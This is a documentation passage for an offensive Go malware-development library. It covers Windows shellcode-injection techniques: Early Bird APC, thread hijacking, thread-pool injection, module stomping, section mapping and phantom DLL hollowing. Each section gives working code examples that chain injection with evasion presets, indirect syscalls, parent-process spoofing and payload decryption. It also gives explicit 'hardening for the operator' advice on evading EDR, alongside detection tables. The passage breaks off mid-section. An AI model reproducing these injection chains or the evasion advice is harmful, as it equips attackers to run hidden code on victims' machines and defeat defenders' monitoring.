Method(inject.MethodEarlyBirdAPC).
ProcessPath(`C:\Windows\System32\svchost.exe`).
IndirectSyscalls().
Create()
if err != nil { return err }
return inj.Inject(shellcode)
Advanced (chain with evasion + sleep mask)
import (
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/inject"
)
_ = evasion.ApplyAll(preset.Minimal(), nil)
inj, err := inject.Build().
Method(inject.MethodEarlyBirdAPC).
ProcessPath(`C:\Windows\System32\WerFault.exe`).
IndirectSyscalls().
Use(inject.WithCPUDelayConfig(inject.CPUDelayConfig{MaxIterations: 8_000_000})).
WithFallback().
Create()
if err != nil { return err }
return inj.Inject(shellcode)
Complex (parent-process spoofing for the spawn)
The package does not change the parent of the spawned child by itself;
to set a non-explorer.exe parent (e.g. spawn under services.exe),
combine with process/spoofparent:
// Pseudo-code illustrating the chain — the actual API is in
// process/spoofparent.
import (
"github.com/oioio-space/maldev/inject"
"github.com/oioio-space/maldev/process/spoofparent"
)
token, _ := spoofparent.AcquireParentToken("services.exe")
defer token.Close()
inj, err := inject.Build().
Method(inject.MethodEarlyBirdAPC).
ProcessPath(`C:\Windows\System32\svchost.exe`).
IndirectSyscalls().
Create()
if err != nil { return err }
spoofparent.RunAs(token, func() error { return inj.Inject(shellcode) })
See the per-method tests in
inject/builder_test.go for runnable
variations.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
Process spawned with CREATE_SUSPENDED flag | Sysmon Event 1 — CreationFlags includes 0x4. Defenders alert on notepad.exe / svchost.exe spawned suspended by an unusual parent |
NtQueueApcThread to a thread of a freshly-spawned process | EDR userland hooks + ETW-Ti ApcQueue events |
| Memory page in child written from outside | Cross-process NtWriteVirtualMemory telemetry |
| Process tree mismatch | A notepad.exe child of a non-explorer.exe parent is a strong signal |
D3FEND counters:
- D3-PSA
— flags
CREATE_SUSPENDED+ queued APC sequences. - D3-PCSV — verifies that thread start addresses match a known image.
Hardening for the operator: randomise the sacrificial executable between runs; pair with PPID spoofing so the child looks like it belongs to its target parent; route the four NT calls through indirect syscalls so the userland-hook variant of the chain is invisible.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1055.004 | Process Injection: Asynchronous Procedure Call | child-process variant queued before any user-mode code runs | D3-PSA |
Limitations
- Visible child process. A foreign
notepad.exe(or whateverProcessPathpoints at) appears under the implant's parent. Choose something that blends in, or pair with PPID spoofing. - Position-independent shellcode required. The APC fires before CRT initialisation; library functions and globals are not yet set up.
- Child must stay alive. The shellcode runs in the child's
process; if the child exits, the implant dies with it. Long-running
payloads should detach (spawn a thread inside the child or
LoadLibrarya DLL). - CREATE_SUSPENDED is signal. Even with PPID spoofing, the combination of suspended-spawn + early APC is a known FireEye-2018 pattern.
See also
- CreateRemoteThread — louder cousin; same primitives without the suspended-spawn dance.
- NtQueueApcThreadEx — the same APC trick on existing PIDs (Win10 1903+).
- Thread Hijack — alternative use of the suspended child: redirect the existing thread instead of queuing an APC.
process/spoofparent— combine to set the parent of the sacrificial child.- FireEye, Early Bird APC, 2018 — original public write-up.
Thread execution hijacking
← injection index · docs/index
TL;DR
Spawn a CREATE_SUSPENDED child, allocate + write + protect shellcode
in its address space, then mutate its main thread's saved register
state so RIP points at the shellcode before resuming. No new thread,
no APC — the existing thread is redirected at the CPU-context
level. Stealth tier: medium; the trade-off is a NtSetContextThread
on a non-debugger flow, which EDR specifically watches.
Primer
CreateRemoteThread creates a new thread; EarlyBird queues an APC.
Thread Execution Hijacking does neither — it abuses the fact that
Windows lets a debugger (or anything with THREAD_GET_CONTEXT | THREAD_SET_CONTEXT) pause a thread, read its full register file, edit
the instruction pointer, write the registers back, and resume. The
implant takes the same path: pause → read CONTEXT → write Rip to the
shellcode address → write back → ResumeThread.
The result is that the sacrificial child's main thread starts running
at the shellcode address instead of the original entry point. No
Create*Thread* event ever fires. The trade-off is the
NtSetContextThread system call, which is unusual outside debugger
workflows and is itself instrumented by every modern EDR.
The legacy alias MethodProcessHollowing points at this technique;
genuine PE hollowing (overwriting the child's image with a different
PE) is not implemented in this package.
How it works
sequenceDiagram
participant Impl as "Implant"
participant Kern as "Kernel"
participant Child as "Child (suspended)"
Impl->>Kern: CreateProcess(CREATE_SUSPENDED)
Kern->>Child: process + main thread, frozen
Kern-->>Impl: hProcess, hThread
Impl->>Kern: NtAllocateVirtualMemory(RW)
Impl->>Kern: NtWriteVirtualMemory(shellcode)
Impl->>Kern: NtProtectVirtualMemory(RX)
Impl->>Kern: NtGetContextThread(hThread)
Kern-->>Impl: CONTEXT (Rip = original entry)
Impl->>Impl: ctx.Rip = remoteAddr
Impl->>Kern: NtSetContextThread(hThread, ctx)
Kern->>Child: thread Rip rewritten
Impl->>Kern: ResumeThread(hThread)
Child->>Child: thread runs at shellcode address
Steps:
- Spawn the sacrificial child suspended.
- Allocate / write / protect the shellcode in the child.
- Get the main thread's CONTEXT (
NtGetContextThread) — note that the kernel returns the saved register file because the thread is suspended. - Mutate
ctx.Rip(orEipon x86) to the shellcode address. - Set the modified CONTEXT back (
NtSetContextThread). - Resume the thread.
API Reference
Method = MethodThreadHijack
The constant "threadhijack". Pass to Config.Method or
InjectorBuilder.Method.
Legacy alias MethodProcessHollowing
const MethodProcessHollowing = MethodThreadHijack
[!WARNING] The name is historical. This is Thread Execution Hijacking (T1055.003), not PE Hollowing (T1055.012). Prefer
MethodThreadHijackin new code.
WindowsConfig.ProcessPath
Path to the sacrificial child (default notepad.exe). Required for
this method.
inject.NewWindowsInjector(cfg *WindowsConfig) (Injector, error)
Builder pattern
inj, err := inject.Build().
Method(inject.MethodThreadHijack).
ProcessPath(`C:\Windows\System32\RuntimeBroker.exe`).
IndirectSyscalls().
Create()
Examples
Simple
cfg := &inject.WindowsConfig{
Config: inject.Config{
Method: inject.MethodThreadHijack,
ProcessPath: `C:\Windows\System32\notepad.exe`,
},
}
inj, err := inject.NewWindowsInjector(cfg)
if err != nil { return err }
return inj.Inject(shellcode)
Composed (indirect syscalls, hardened sacrificial parent)
inj, err := inject.Build().
Method(inject.MethodThreadHijack).
ProcessPath(`C:\Windows\System32\RuntimeBroker.exe`).
IndirectSyscalls().
Create()
if err != nil { return err }
return inj.Inject(shellcode)
Advanced (preset evasion + thread hijack)
import (
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/inject"
)
_ = evasion.ApplyAll(preset.Stealth(), nil)
inj, err := inject.Build().
Method(inject.MethodThreadHijack).
ProcessPath(`C:\Windows\System32\WerFault.exe`).
IndirectSyscalls().
Use(inject.WithXORKey(0xA5)).
Create()
if err != nil { return err }
return inj.Inject(shellcode)
Complex (Pipeline equivalent)
Pipeline does not have a packaged ThreadHijackExecutor (it would
need a saved CONTEXT and a thread handle); the named-method path is
the supported one. For experimental setups, replicate the logic in
inject/injector_remote_windows.go.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
CREATE_SUSPENDED child of an unusual parent | Sysmon Event 1 (CreationFlags) |
NtSetContextThread on a thread of a freshly-spawned process | EDR-Ti providers, userland hooks. Outside debugger workflows this is a high-fidelity signal |
Cross-process NtWriteVirtualMemory | EDR userland + ETW |
Modified Rip in CONTEXT pointing into a non-image-backed region | EDR memory scanners on the child |
| Process tree mismatch | notepad.exe child of a non-explorer.exe parent |
D3FEND counters:
- D3-PSA
—
CREATE_SUSPENDED+ register mutation is the textbook hollowing-family chain. - D3-PCSV
— verifies thread
Ripagainst image segments.
Hardening for the operator: route NT calls through indirect syscalls; pair with PPID spoofing; choose a sacrificial process whose own initialisation does not race the shellcode (avoid heavyweight binaries that spawn workers immediately).
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1055.003 | Process Injection: Thread Execution Hijacking | suspended-child variant | D3-PSA |
Limitations
- x64 only in the current implementation (
CONTEXT.Rip). x86 would needEipand a differentCONTEXTflags mask. - Original entry point never runs. The sacrificial process never
reaches its real
main. If the shellcode does not hand control back, the child appears to have started and immediately died — a small but non-zero behavioural anomaly. NtSetContextThreadis high-signal. EDRs that miss theCREATE_SUSPENDEDflag still catch the context modification. Direct/indirect syscalls help against userland hooks but not against ETW-Ti.- Race-prone for fast spawns. Some sacrificial binaries
(
csrss.exeadjacents, lightly-instrumented processes) finish initial setup beforeNtGetContextThreadreturns. Stick to well-behaved utilities.
See also
- Early Bird APC — same suspended-child shape, uses an APC instead of register mutation.
- CreateRemoteThread — the loud baseline.
- Process Argument Spoofing — pair to mask the child's command line as a benign tool.
process/spoofparent— pair to set a realistic parent for the sacrificial child.- SafeBreach Labs, Process Hollowing & Doppelgänging, 2017 — taxonomy of register-mutation injection.
Thread pool injection
← injection index · docs/index
TL;DR
Drop a work item onto the process's default thread pool via the
undocumented TpAllocWork / TpPostWork / TpReleaseWork triplet in
ntdll. An idle worker thread that already exists picks the item up
and runs the shellcode as a normal callback. No CreateThread, no
NtCreateThreadEx, no APC. Local-only.
Primer
Every Windows process has a default thread pool — a small ring of
worker threads created by RtlpInitializeThreadPool early in process
startup. The pool's purpose is to dispatch arbitrary work items
submitted by kernel32!QueueUserWorkItem, ntdll!TpPostWork, and the
modern CreateThreadpoolWork family. The implant abuses the
ntdll-private layer: TpAllocWork(callback, ctx, env) builds a
TP_WORK object whose callback pointer is the shellcode, TpPostWork
pushes it onto the queue, and one of the existing workers dequeues
and dispatches it.
The result is execution on a thread that the implant did not create
and the EDR did not see being created. The same TP_WORK object is
the textbook plumbing every well-behaved Windows process uses dozens of
times per second; the only anomaly is the callback target itself.
How it works
sequenceDiagram
participant Impl as "Implant"
participant Nt as "ntdll"
participant Pool as "Default thread pool"
participant W as "Worker thread"
Impl->>Impl: VirtualAlloc(RW) + memcpy
Impl->>Impl: VirtualProtect(RX)
Impl->>Nt: TpAllocWork(&work, sc, 0, 0)
Nt-->>Impl: TP_WORK*
Impl->>Nt: TpPostWork(work)
Nt->>Pool: enqueue
Pool->>W: dispatch
W->>W: shellcode runs as callback
Impl->>Nt: TpWaitForWork(work, false)
Note over Impl: blocks until callback returns
Impl->>Nt: TpReleaseWork(work)
Steps:
- Allocate / write / protect in the current process — RW first, then RX.
TpAllocWork— register the shellcode as the callback.TpPostWork— submit the work item.- Worker dispatch — an existing pool worker dequeues and calls the callback (the shellcode).
TpWaitForWork— block to guarantee completion beforeTpReleaseWorkfrees the object underneath the running callback.TpReleaseWork— clean up.
API Reference
inject.ThreadPoolExec(shellcode []byte) error
Execute shellcode on the current process's default thread pool. Owns
allocation (RW → RX), the TpAllocWork/TpPostWork/TpWaitForWork/
TpReleaseWork lifecycle, and cleanup.
Parameters:
shellcode— bytes to execute. The function copies them into a freshly allocated RW page, flips to RX, then dispatches.
Returns: error — wraps ntdll failures and protection-flip
errors. nil only after the shellcode callback returns.
Side effects: allocates len(shellcode)-rounded-up RX page in the
current process. The page is not released — wipe it with
cleanup/memory.WipeAndFree when done.
OPSEC: the callback target is the only anomaly. Pair with
ModuleStomp to make it image-backed.
inject.ThreadPoolExecCET(shellcode []byte) error
CET-aware wrapper around ThreadPoolExec. Calls
cet.Wrap on the shellcode when
cet.Enforced is true, then forwards to
ThreadPoolExec.
Why future-proofed. Current shipping Windows builds do not
enforce CET on the thread-pool dispatcher — meaning plain
ThreadPoolExec works fine today. If a future Windows build
flips the dispatcher to ENDBR64-required (the same model
KiUserApcDispatcher uses), implants built against this helper
keep working without a code change. The cost of a no-op wrap on
non-enforced hosts is 4 bytes of shellcode prefix.
Parameters / Returns / Side effects: identical to
ThreadPoolExec.
Required privileges: unprivileged.
Platform: windows amd64.
Examples
Simple
import "github.com/oioio-space/maldev/inject"
if err := inject.ThreadPoolExec(shellcode); err != nil {
return err
}
Simple — future-proofed (CET-aware)
// Same code, no per-call decisions. Wraps with cet.Wrap when
// cet.Enforced() flips true on a future Win build; no-op today.
if err := inject.ThreadPoolExecCET(shellcode); err != nil {
return err
}
Composed (ModuleStomp + manual TpAllocWork)
ThreadPoolExec is a one-shot helper. To make the callback target
image-backed, stomp first and call TpAllocWork manually — see
inject/threadpool_windows.go
for the call shape:
import "github.com/oioio-space/maldev/inject"
addr, err := inject.ModuleStomp("msftedit.dll", shellcode)
if err != nil { return err }
// dispatch via TpAllocWork(addr, ...) — see source for full snippet
return inject.ExecuteCallback(addr, inject.CallbackRtlRegisterWait)
Advanced (chain with evasion preset)
import (
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/inject"
)
_ = evasion.ApplyAll(preset.Stealth(), nil)
return inject.ThreadPoolExec(shellcode)
Complex (decrypt + thread-pool + wipe)
import (
"github.com/oioio-space/maldev/cleanup/memory"
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/inject"
)
_ = evasion.ApplyAll(preset.Stealth(), nil)
shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil { return err }
memory.SecureZero(aesKey)
if err := inject.ThreadPoolExec(shellcode); err != nil { return err }
memory.SecureZero(shellcode)
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
TP_WORK callback pointer outside any image | EDR memory scanners walk active pool work items (CrowdStrike Falcon Sensor, MDE Live Response) |
| RW → RX flip in current process | NtProtectVirtualMemory telemetry — every modern EDR keys on the protection transition |
| Pool worker stack containing addresses outside any module | Stack-walking telemetry on the thread-pool dispatcher |
D3FEND counters:
- D3-PCSV — verifies the callback against image segments.
- D3-EAL — WDAC blocks RX flips outside images.
Hardening for the operator: pair with ModuleStomp
so the callback pointer is image-backed; spread allocations across
multiple smaller pages to reduce signature surface; sleep-mask the
shellcode region between activations
(evasion/sleepmask).
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1055.001 | Process Injection: DLL Injection | thread-pool variant — no thread creation | D3-PCSV |
Limitations
- Local only. Targets the current process's pool. There is no
cross-process variant — the
TP_WORKobject lives in the calling process. - Synchronous via
TpWaitForWork. The helper blocks until the callback returns. Long-running shellcode should detach internally (spawn a fiber or thread). - CET dispatcher is not currently enforced on the thread-pool
path (unlike
RtlRegisterWait, which is). PlainThreadPoolExecworks as-is. The future-proofThreadPoolExecCETwrapper auto-prependsENDBR64viacet.Wrapwhencet.Enforced()returns true, so an implant built against this helper survives the day Microsoft flips the dispatcher to ENDBR64-required. Cost on non-enforced hosts: 4 bytes of shellcode prefix. - Region not freed. The RX page persists until process exit unless
the implant calls
cleanup/memory.WipeAndFree. - Undocumented APIs.
TpAllocWork/TpPostWork/TpReleaseWorkare not in the SDK; future Windows builds may rename or relocate them.
See also
- Callback execution — the broader family; thread pool is the worker-thread variant.
- Module Stomping — pair to make the callback pointer image-backed.
evasion/sleepmask— mask the RX region between dispatches.- Modexp, Calling Conventions in Windows
— original public write-up of
TpAllocWork-based injection.
Module stomping
← injection index · docs/index
TL;DR
Load a legitimate System32 DLL with DONT_RESOLVE_DLL_REFERENCES,
locate its .text section, briefly flip it to RW, overwrite the bytes
with shellcode, flip back to RX. The resulting RX page is image-backed
— memory scanners that trust file-backed regions see a legitimate
msftedit.dll mapping. Local-only; pair with a callback or thread-pool
trigger to actually run the bytes.
Primer
Memory scanners commonly trust regions that the OS reports as
file-backed by a known image. The shortcut they take is reasonable —
loading c:\windows\system32\msftedit.dll is by definition fine, so
scanning every byte of every loaded DLL would be wasteful. Module
stomping abuses that trust: the implant loads a benign DLL it does
not actually need, walks its PE headers in memory, finds the .text
(code) section, and replaces the section's bytes with the shellcode.
The OS still reports the region as msftedit.dll's code segment;
the bytes have changed underneath.
The technique is placement only. ModuleStomp returns the address
of the new RX region; pair it with a separate execution primitive
(ExecuteCallback, ThreadPoolExec,
fiber, or a manually-fired callback) to dispatch.
How it works
flowchart LR
A[LoadLibraryEx<br>DONT_RESOLVE_DLL_REFERENCES] --> B[parse PE headers<br>find .text]
B --> C[VirtualProtect<br>.text → RW]
C --> D[memcpy shellcode<br>over .text]
D --> E[VirtualProtect<br>.text → RX]
E --> F[return RX address]
Steps:
- Load the cover DLL with
LOAD_LIBRARY_AS_IMAGE_RESOURCE | DONT_RESOLVE_DLL_REFERENCES. This maps the file as aSEC_IMAGEsection — the OS treats it like a real load — but skipsDllMainso no real init runs. - Parse the loaded module's PE headers in memory to locate the
.textsection's virtual address and size. - Flip the
.textsection toPAGE_READWRITE. - Overwrite the existing bytes with the shellcode (zero-pad the tail).
- Flip back to
PAGE_EXECUTE_READ. - Return the address.
API Reference
inject.ModuleStomp(dllName string, shellcode []byte) (uintptr, error)
Map dllName (a System32 leaf, e.g. "msftedit.dll") and overwrite
its .text section with shellcode.
Parameters:
dllName— leaf or full path. The package resolves toC:\Windows\System32\<dllName>if no path is given.shellcode— bytes to place; must be smaller than the target's.textsection.
Returns:
uintptr— RX address inside the stomped.text. Hand toExecuteCallback, a fiber, or any other trigger.error— wrapsLoadLibraryEx/VirtualProtectfailures, or reports if the shellcode is too big for the target section.
Side effects: maps the cover DLL into the current process and
leaves it loaded. The DLL's DllMain does not run. There is no
unmap helper — the region persists until process exit.
OPSEC: the strongest signal is the VirtualProtect flip on a
loaded image's .text; mid-tier EDRs catch it. Memory scanners
by themselves are defeated.
[!CAUTION] Pick a DLL the implant does not load anywhere else (no other code path calls into it). If the cover DLL is already loaded with dependencies resolved,
LoadLibraryExreturns the existing handle and the stomp clobbers a working module — every subsequent call into it crashes.
Examples
Simple
addr, err := inject.ModuleStomp("msftedit.dll", shellcode)
if err != nil { return err }
return inject.ExecuteCallback(addr, inject.CallbackEnumWindows)
Composed (stomp + thread pool)
addr, err := inject.ModuleStomp("msftedit.dll", shellcode)
if err != nil { return err }
// Use a callback method that routes through the thread pool.
return inject.ExecuteCallback(addr, inject.CallbackRtlRegisterWait)
Advanced (evade + stomp + callback)
import (
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/inject"
)
_ = evasion.ApplyAll(preset.Stealth(), nil)
addr, err := inject.ModuleStomp("dbghelp.dll", shellcode)
if err != nil { return err }
return inject.ExecuteCallback(addr, inject.CallbackCreateTimerQueue)
Complex (decrypt → stomp → trigger → wipe)
import (
"github.com/oioio-space/maldev/cleanup/memory"
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/inject"
)
shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil { return err }
memory.SecureZero(aesKey)
addr, err := inject.ModuleStomp("msftedit.dll", shellcode)
if err != nil { return err }
memory.SecureZero(shellcode) // bytes already copied into the cover DLL
return inject.ExecuteCallback(addr, inject.CallbackNtNotifyChangeDirectory)
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
VirtualProtect flip on a loaded image's .text | Mid-tier EDR — sysmon does not log this directly, but EDR userland hooks do |
In-memory .text mismatch with the on-disk DLL | Advanced memory scanners diff loaded .text against \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy*\windows\system32\<dll> — strong, slow detector |
| Loaded module that the process never imports | EDR module-load telemetry (Sysmon Event 7) — msftedit.dll loaded by a CLI tool that does not edit RTF is anomalous |
| Callback target inside a System32 DLL the process never imports | Behavioural rule combining the load + the eventual callback |
D3FEND counters:
- D3-PCSV — text-segment integrity checking is the canonical defeat.
- D3-EAL — WDAC's Code Integrity engine validates loaded sections.
- D3-SICA — diffs loaded image sections against on-disk.
Hardening for the operator: rotate the cover DLL between runs; pick
a DLL whose .text is large enough to hold the shellcode comfortably
(extra zero-padding is fine; truncation is not); avoid DLLs whose
absence breaks the stage's own imports.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1055.001 | Process Injection: DLL Injection | image-backed variant — no separate allocation | D3-PCSV |
| T1027 | Obfuscated Files or Information | placement under a benign image disguises the payload's presence | D3-SICA |
Limitations
- Local only. No cross-process variant. Stomping a module in
another process would need
WriteProcessMemory— exactly the syscall the technique exists to avoid. - Size capped by
.text. Big shellcode needs a big cover DLL.msftedit.dll(~200 KB),dbghelp.dll, andwindowscodecs.dllare common picks. - Module must not be otherwise needed. If the rest of the implant imports from the cover DLL, the stomp breaks the imports. Pick a DLL the binary does not legitimately use.
- Mapped DLL leaks until process exit. Add manual
FreeLibrarywith care — the OS reference-counts and other implants in the same process may have the DLL pinned. - Image diffing defeats it. Defenders that compare loaded
.textwith the on-disk DLL find the stomp. The technique trades simple signature evasion for a more sophisticated detection class.
See also
- Callback execution — primary consumer of the stomped address.
- Thread Pool — alternate trigger primitive.
- Phantom DLL — same idea but cross-process and
using
NtCreateSection. evasion/sleepmask— re-encrypt the stomped section between activations.- Mark Mo, Module Stomping, 2019 — community write-up of the original technique.
Section mapping injection
← injection index · docs/index
TL;DR
Cross-process injection without WriteProcessMemory. Create a
shared section, map a writable view in the implant's process, copy the
shellcode locally, then map a read-execute view of the same section
in the target. Both views point at the same physical pages, so the
local memcpy is instantly visible across the boundary. Trigger via
NtCreateThreadEx (or whichever executor the caller chooses).
Primer
WriteProcessMemory is one of the loudest cross-process syscalls.
EDRs hook it, ETW-Ti reports it, and a single use is enough to flag
the chain. Section mapping sidesteps it entirely by exploiting Windows'
shared-memory primitive: NtCreateSection returns a section object
backed by the page file (or the file system); NtMapViewOfSection
projects views of that section into arbitrary processes. Two views
of the same section point at the same physical pages — modifying
one updates the other.
The implant maps the section RW into itself, writes shellcode through
the local view, then maps the same section RX into the target. No
cross-process write was issued. The remaining cross-process call is the
final trigger (NtCreateThreadEx, or anything else the caller wants).
How it works
sequenceDiagram
participant Impl as "Implant"
participant Kern as "Kernel"
participant Tgt as "Target"
Impl->>Kern: NtCreateSection(SEC_COMMIT, RWX)
Kern-->>Impl: hSection
Impl->>Kern: NtMapViewOfSection(self, RW)
Kern-->>Impl: localBase
Impl->>Impl: memcpy(localBase, shellcode)
Impl->>Kern: NtMapViewOfSection(target, RX)
Kern->>Tgt: same physical pages, RX
Kern-->>Impl: remoteBase
Impl->>Kern: NtUnmapViewOfSection(self, localBase)
Impl->>Kern: NtCreateThreadEx(target, remoteBase)
Kern->>Tgt: thread @ shellcode
Steps:
NtCreateSectionwithSEC_COMMIT | PAGE_EXECUTE_READWRITE, sized to the shellcode.NtMapViewOfSectioninto the local process withPAGE_READWRITE.- memcpy the shellcode through the local view.
NtMapViewOfSectioninto the target withPAGE_EXECUTE_READ. Both views share physical pages; the data is already there.NtUnmapViewOfSectionlocally — no longer needed.NtCreateThreadExatremoteBase(or any other trigger).
API Reference
inject.SectionMapInject(pid int, shellcode []byte, caller *wsyscall.Caller) error
Cross-process inject shellcode into pid via shared section mapping
and a remote thread.
Parameters:
pid— target process ID. Must allowPROCESS_DUP_HANDLE,PROCESS_VM_OPERATION,PROCESS_CREATE_THREAD.shellcode— bytes to execute in the target.caller— optional*wsyscall.Caller. When non-nil, allNt*calls route through it (direct/indirect syscalls); when nil, falls back towindows.Nt*userland-hooked stubs.
Returns: error — wraps NtCreateSection /
NtMapViewOfSection / NtCreateThreadEx failures, or invalid-PID
errors.
Side effects: allocates a page-file-backed section sized to the shellcode in the kernel; maps two views, unmaps the local one. The section handle is closed when the function returns; the remote mapping persists until the target process exits.
OPSEC: no WriteProcessMemory. The remaining tells are the
section creation, the cross-process map, and the final
NtCreateThreadEx.
Examples
Simple
import "github.com/oioio-space/maldev/inject"
if err := inject.SectionMapInject(targetPID, shellcode, nil); err != nil {
return err
}
Composed (indirect syscalls)
import (
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
caller := wsyscall.New(wsyscall.MethodIndirect,
wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate()))
return inject.SectionMapInject(targetPID, shellcode, caller)
Advanced (full evasion stack)
import (
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
caller := wsyscall.New(wsyscall.MethodIndirect,
wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate()))
_ = evasion.ApplyAll(preset.Stealth(), caller)
return inject.SectionMapInject(targetPID, shellcode, caller)
Complex (encrypt + decrypt + section map + wipe)
import (
"github.com/oioio-space/maldev/cleanup/memory"
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
caller := wsyscall.New(wsyscall.MethodIndirect,
wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate()))
_ = evasion.ApplyAll(preset.Stealth(), caller)
shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil { return err }
memory.SecureZero(aesKey)
if err := inject.SectionMapInject(targetPID, shellcode, caller); err != nil {
return err
}
memory.SecureZero(shellcode)
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
NtCreateSection followed by two NtMapViewOfSection to different processes | EDR-Ti correlates the chain — strong signal in modern products |
Cross-process NtMapViewOfSection at all | Sysmon does not log; EDR userland hooks + ETW Threat Intelligence (Microsoft-Windows-Threat-Intelligence) emit MapViewOfSection events |
NtCreateThreadEx start address inside a non-image RX mapping | PsSetCreateThreadNotifyRoutine callback flags non-image-backed start addresses |
Page-file-backed section with PAGE_EXECUTE_READWRITE initial protection | EDR allocation telemetry — RWX sections without an image backing are unusual |
D3FEND counters:
- D3-PSA — flags the section + remote-thread chain.
- D3-PCSV — verifies the start address against image segments.
- D3-MA — anomaly on cross-process executable mappings.
Hardening for the operator: trigger via a callback path on the
remote side (e.g. hijack a thread's APC queue with
NtQueueApcThreadEx) to avoid
NtCreateThreadEx; pair with evasion/unhook
to defeat userland hooks on NtMapViewOfSection.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1055.001 | Process Injection: DLL Injection | shared-section variant — no WriteProcessMemory | D3-PSA |
Limitations
NtCreateThreadExstill fires at the end of the chain. The technique avoidsWriteProcessMemory, not thread-creation telemetry.- No PPL targets. Cross-process section mapping into a Protected Process Light is denied.
- Initial section protection is RWX. EDRs that key on
PAGE_EXECUTE_READWRITEallocations flag the creation regardless of the eventualRX-only target view. - Section persists in target. No automatic cleanup on the remote side. The mapped pages stay until the target exits.
- Caller
nilfalls back to userland-hooked stubs. Prefer an indirect-syscallCallerfor any non-trivial EDR posture.
See also
- CreateRemoteThread — same target shape,
uses
NtWriteVirtualMemory. - Phantom DLL — section mapping where the section is image-backed by a System32 DLL (extra disguise).
win/syscall— direct/indirect syscall modes.evasion/unhook— pair to defeat userland hooks on the section APIs.- Aleksandra Doniec, Process Doppelgänging vs section mapping — comparison of section-based injection variants.
Phantom DLL hollowing
← injection index · docs/index
TL;DR
Cross-process module stomping: open a real System32 DLL, build a
SEC_IMAGE section from it, map the section into the target so the
kernel records the mapping as a legitimate signed image, then overwrite
the .text of the remote view with shellcode. Memory scanners see a
file-backed amsi.dll mapping; the bytes are the implant's. Optionally
routes the open through evasion/stealthopen
to dodge path-based file hooks.
Primer
Module stomping (local) gives an RX region that
the OS reports as a legitimate signed image — but only inside the
implant's own process. Phantom DLL hollowing extends the same idea
across a process boundary by combining NtCreateSection(SEC_IMAGE)
with NtMapViewOfSection into the target.
The kernel insists that SEC_IMAGE sections be backed by an Authenticode-
signed file; the implant uses a real System32 DLL (amsi.dll,
msftedit.dll, …) so the signature check passes. The same pages are
then overwritten in the target's view: read the on-disk DLL to
locate the .text RVA, flip the remote section to RW with
VirtualProtectEx, write the shellcode, flip back to RX. The remote
process now has an amsi.dll mapping whose code segment is the implant.
EDR memory scanners that key on "is this image-backed and signed?" report green. Defenders that compare in-memory bytes against the on-disk copy see the divergence.
How it works
sequenceDiagram
participant Impl as "Implant"
participant Open as "stealthopen.Opener (optional)"
participant Kern as "Kernel"
participant Tgt as "Target"
Impl->>Open: open amsi.dll
Open-->>Impl: hFile
Impl->>Kern: NtCreateSection(SEC_IMAGE, hFile)
Kern->>Kern: Authenticode validation
Kern-->>Impl: hSection (image-backed)
Impl->>Kern: NtMapViewOfSection(target, RX)
Kern->>Tgt: legitimate amsi.dll image mapped
Kern-->>Impl: remoteBase
Impl->>Impl: parse local copy of amsi.dll PE → text RVA, size
Impl->>Kern: NtProtectVirtualMemory(target, .text → RW)
Impl->>Kern: NtWriteVirtualMemory(target, .text ← shellcode)
Impl->>Kern: NtProtectVirtualMemory(target, .text → RX)
Steps:
- Open the cover DLL (default
amsi.dll). When anOpeneris supplied, the open routes through file-ID handles rather than a path-basedCreateFile, defeating EDR file-IO hooks that key on path strings. NtCreateSection(SEC_IMAGE)— kernel validates and builds a signed image section.NtMapViewOfSectioninto the target withPAGE_EXECUTE_READWRITE.- Parse the cover DLL's PE headers in the implant to locate the
.textRVA and size. - Flip + write + flip back the target's
.textviaVirtualProtectEx+WriteProcessMemory+VirtualProtectEx. - (Caller's responsibility) trigger the shellcode in the target —
KernelCallbackExec,SectionMapInject-paired thread, callback APC.
API Reference
inject.PhantomDLLInject(pid int, dllName string, shellcode []byte, opener stealthopen.Opener) error
Inject shellcode into pid's address space, masquerading as the
loaded image of dllName.
Parameters:
